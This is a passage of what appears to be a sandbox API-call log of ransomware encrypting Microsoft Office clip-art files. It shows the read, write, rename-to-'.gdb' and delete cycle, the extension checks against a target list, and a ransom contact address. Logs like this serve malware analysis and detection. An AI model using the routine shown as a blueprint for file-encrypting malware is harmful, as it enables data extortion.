hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0132.488] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0132.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0132.489] GetLastError () returned 0x0 [0132.489] ReadFile (in: hFile=0x198, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0xd9c, lpOverlapped=0x0) returned 1 [0132.851] WriteFile (in: hFile=0x1cc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xda0, lpOverlapped=0x0) returned 1 [0132.853] ReadFile (in: hFile=0x198, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0132.853] WriteFile (in: hFile=0x1cc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0132.854] SetEndOfFile (hFile=0x1cc) returned 1 [0132.854] CloseHandle (hObject=0x1cc) returned 1 [0132.854] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0132.854] SetEndOfFile (hFile=0x198) returned 1 [0132.855] CloseHandle (hObject=0x198) returned 1 [0132.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0132.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0132.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0132.856] lstrlenW (lpString=".doc") returned 4 [0132.856] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0132.856] lstrlenW (lpString=".docx") returned 5 [0132.856] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0132.856] lstrlenW (lpString=".pdf") returned 4 [0132.856] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0132.856] lstrlenW (lpString=".xls") returned 4 [0132.856] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0132.856] lstrlenW (lpString=".xlsx") returned 5 [0132.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0132.856] lstrlenW (lpString=".ppt") returned 4 [0132.856] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0132.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0132.856] lstrlenW (lpString=".zip") returned 4 [0132.856] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0132.856] lstrlenW (lpString=".rar") returned 4 [0132.856] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0132.856] lstrlenW (lpString=".bz2") returned 4 [0132.856] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0132.856] lstrlenW (lpString=".7z") returned 3 [0132.856] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0132.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0132.856] lstrlenW (lpString=".dbf") returned 4 [0132.856] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0132.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0132.856] lstrlenW (lpString=".1cd") returned 4 [0132.856] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0132.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0132.856] lstrlenW (lpString=".jpg") returned 4 [0132.856] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0132.857] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0132.857] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0132.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0132.857] GetLastError () returned 0x0 [0132.857] ReadFile (in: hFile=0x198, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x1485, lpOverlapped=0x0) returned 1 [0133.230] WriteFile (in: hFile=0x1cc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x1490, lpOverlapped=0x0) returned 1 [0133.231] ReadFile (in: hFile=0x198, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0133.231] WriteFile (in: hFile=0x1cc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0133.231] SetEndOfFile (hFile=0x1cc) returned 1 [0133.232] CloseHandle (hObject=0x1cc) returned 1 [0133.256] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0133.256] SetEndOfFile (hFile=0x198) returned 1 [0133.257] CloseHandle (hObject=0x198) returned 1 [0133.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0133.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0133.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0133.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0133.258] lstrlenW (lpString=".doc") returned 4 [0133.258] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0133.258] lstrlenW (lpString=".docx") returned 5 [0133.258] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0133.258] lstrlenW (lpString=".pdf") returned 4 [0133.258] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0133.258] lstrlenW (lpString=".xls") returned 4 [0133.258] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0133.258] lstrlenW (lpString=".xlsx") returned 5 [0133.258] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0133.258] lstrlenW (lpString=".ppt") returned 4 [0133.259] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0133.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0133.259] lstrlenW (lpString=".zip") returned 4 [0133.259] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0133.259] lstrlenW (lpString=".rar") returned 4 [0133.259] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0133.259] lstrlenW (lpString=".bz2") returned 4 [0133.259] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0133.259] lstrlenW (lpString=".7z") returned 3 [0133.259] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0133.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0133.259] lstrlenW (lpString=".dbf") returned 4 [0133.259] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0133.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0133.259] lstrlenW (lpString=".1cd") returned 4 [0133.259] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0133.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0133.259] lstrlenW (lpString=".jpg") returned 4 [0133.259] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0133.259] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0133.260] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0133.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0133.260] GetLastError () returned 0x0 [0133.260] ReadFile (in: hFile=0x198, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x3bcc, lpOverlapped=0x0) returned 1 [0133.453] WriteFile (in: hFile=0x1a8, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x3bd0, lpOverlapped=0x0) returned 1 [0133.455] ReadFile (in: hFile=0x198, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0133.455] WriteFile (in: hFile=0x1a8, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0133.455] SetEndOfFile (hFile=0x1a8) returned 1 [0133.455] CloseHandle (hObject=0x1a8) returned 1 [0133.455] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0133.455] SetEndOfFile (hFile=0x198) returned 1 [0133.456] CloseHandle (hObject=0x198) returned 1 [0133.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0133.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0133.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0133.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0133.457] lstrlenW (lpString=".doc") returned 4 [0133.457] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0133.457] lstrlenW (lpString=".docx") returned 5 [0133.457] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0133.457] lstrlenW (lpString=".pdf") returned 4 [0133.457] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0133.458] lstrlenW (lpString=".xls") returned 4 [0133.458] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0133.458] lstrlenW (lpString=".xlsx") returned 5 [0133.458] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0133.458] lstrlenW (lpString=".ppt") returned 4 [0133.458] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0133.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0133.458] lstrlenW (lpString=".zip") returned 4 [0133.458] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0133.458] lstrlenW (lpString=".rar") returned 4 [0133.458] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0133.458] lstrlenW (lpString=".bz2") returned 4 [0133.458] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0133.458] lstrlenW (lpString=".7z") returned 3 [0133.458] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0133.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0133.458] lstrlenW (lpString=".dbf") returned 4 [0133.458] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0133.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0133.458] lstrlenW (lpString=".1cd") returned 4 [0133.458] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0133.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0133.458] lstrlenW (lpString=".jpg") returned 4 [0133.458] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0133.459] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0133.459] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0133.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0133.468] GetLastError () returned 0x0 [0133.468] ReadFile (in: hFile=0x198, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x13a6, lpOverlapped=0x0) returned 1 [0133.945] WriteFile (in: hFile=0x1a8, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x13b0, lpOverlapped=0x0) returned 1 [0135.153] ReadFile (in: hFile=0x198, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0135.154] WriteFile (in: hFile=0x1a8, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0135.154] SetEndOfFile (hFile=0x1a8) returned 1 [0135.154] CloseHandle (hObject=0x1a8) returned 1 [0135.154] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0135.154] SetEndOfFile (hFile=0x198) returned 1 [0135.155] CloseHandle (hObject=0x198) returned 1 [0135.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0135.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0135.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0135.156] lstrlenW (lpString=".doc") returned 4 [0135.156] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0135.156] lstrlenW (lpString=".docx") returned 5 [0135.156] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0135.156] lstrlenW (lpString=".pdf") returned 4 [0135.157] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0135.157] lstrlenW (lpString=".xls") returned 4 [0135.157] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0135.157] lstrlenW (lpString=".xlsx") returned 5 [0135.157] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0135.157] lstrlenW (lpString=".ppt") returned 4 [0135.157] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0135.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0135.157] lstrlenW (lpString=".zip") returned 4 [0135.157] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0135.157] lstrlenW (lpString=".rar") returned 4 [0135.157] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0135.157] lstrlenW (lpString=".bz2") returned 4 [0135.157] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0135.157] lstrlenW (lpString=".7z") returned 3 [0135.157] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0135.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0135.157] lstrlenW (lpString=".dbf") returned 4 [0135.157] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0135.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0135.157] lstrlenW (lpString=".1cd") returned 4 [0135.157] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0135.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0135.157] lstrlenW (lpString=".jpg") returned 4 [0135.157] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0135.267] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0135.267] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0135.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0135.267] GetLastError () returned 0x0 [0135.267] ReadFile (in: hFile=0x22c, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x2186, lpOverlapped=0x0) returned 1 [0135.468] WriteFile (in: hFile=0x1fc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x2190, lpOverlapped=0x0) returned 1 [0135.486] ReadFile (in: hFile=0x22c, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0135.486] WriteFile (in: hFile=0x1fc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0135.486] SetEndOfFile (hFile=0x1fc) returned 1 [0135.486] CloseHandle (hObject=0x1fc) returned 1 [0135.487] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0135.487] SetEndOfFile (hFile=0x22c) returned 1 [0135.488] CloseHandle (hObject=0x22c) returned 1 [0135.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0135.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0135.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0135.489] lstrlenW (lpString=".doc") returned 4 [0135.489] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0135.489] lstrlenW (lpString=".docx") returned 5 [0135.489] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0135.489] lstrlenW (lpString=".pdf") returned 4 [0135.489] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0135.489] lstrlenW (lpString=".xls") returned 4 [0135.489] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0135.489] lstrlenW (lpString=".xlsx") returned 5 [0135.489] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0135.489] lstrlenW (lpString=".ppt") returned 4 [0135.489] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0135.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0135.489] lstrlenW (lpString=".zip") returned 4 [0135.489] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0135.489] lstrlenW (lpString=".rar") returned 4 [0135.489] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0135.489] lstrlenW (lpString=".bz2") returned 4 [0135.489] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0135.489] lstrlenW (lpString=".7z") returned 3 [0135.489] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0135.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0135.489] lstrlenW (lpString=".dbf") returned 4 [0135.489] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0135.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0135.489] lstrlenW (lpString=".1cd") returned 4 [0135.489] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0135.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0135.489] lstrlenW (lpString=".jpg") returned 4 [0135.489] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0135.490] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0135.490] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0135.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0135.490] GetLastError () returned 0x0 [0135.490] ReadFile (in: hFile=0x22c, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0xc30, lpOverlapped=0x0) returned 1 [0135.528] WriteFile (in: hFile=0x1fc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xc40, lpOverlapped=0x0) returned 1 [0135.529] ReadFile (in: hFile=0x22c, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0135.529] WriteFile (in: hFile=0x1fc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0135.529] SetEndOfFile (hFile=0x1fc) returned 1 [0135.529] CloseHandle (hObject=0x1fc) returned 1 [0135.529] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0135.529] SetEndOfFile (hFile=0x22c) returned 1 [0135.530] CloseHandle 